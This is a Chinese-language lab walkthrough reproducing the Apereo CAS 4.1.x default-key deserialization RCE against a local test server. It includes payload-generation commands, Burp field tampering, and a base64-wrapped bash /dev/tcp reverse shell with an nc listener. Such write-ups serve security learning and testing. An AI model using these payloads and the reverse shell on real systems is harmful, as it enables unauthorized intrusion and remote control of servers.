4.1-rce
漏洞详情:
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
影响版本: Apereo CAS <= 4.1.7
漏洞利用:
1.进入环境:http://192.168.31.218:8080/cas/login
根据看到的版本号信息可以判断该页面存在漏洞。
2.构造PoC进行测试
- 下载工具用于生成payload
下载好之后,我们来使用以下命令生成payload(也就是我们要执行的命令)
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir qwe"
生成好payload之后咱就开始进行验证。
在进入的页面随便输入用户名密码,之后使用BP进行抓包。抓到数据包之后对execution字段进行修改,将这部分的数据改为我们上面生成的payload信息,之后发送。
响应状态码500说明没有啥问题,咱可以去目标容器内看一下是否成功。
OK确实存在漏洞!!
3.反弹shell
- 反弹shell语句:/bin/bash -i >& /dev/tcp/192.168.31.197/6666 0>&1
- 对反弹shell语句进行base64编码:L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTk3LzY2NjYgMD4mMQo=
- bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTk3LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
使用工具生成payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTk3LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}"
获得payload之后,首先打开kali端的监听端口【nc -lvvp 6666】,之后再次使用BP抓包重复上述的操作,将其pauload加入execution字段中后发送。
完成一系列操作时候返回kali端,可以看到我们getshell了!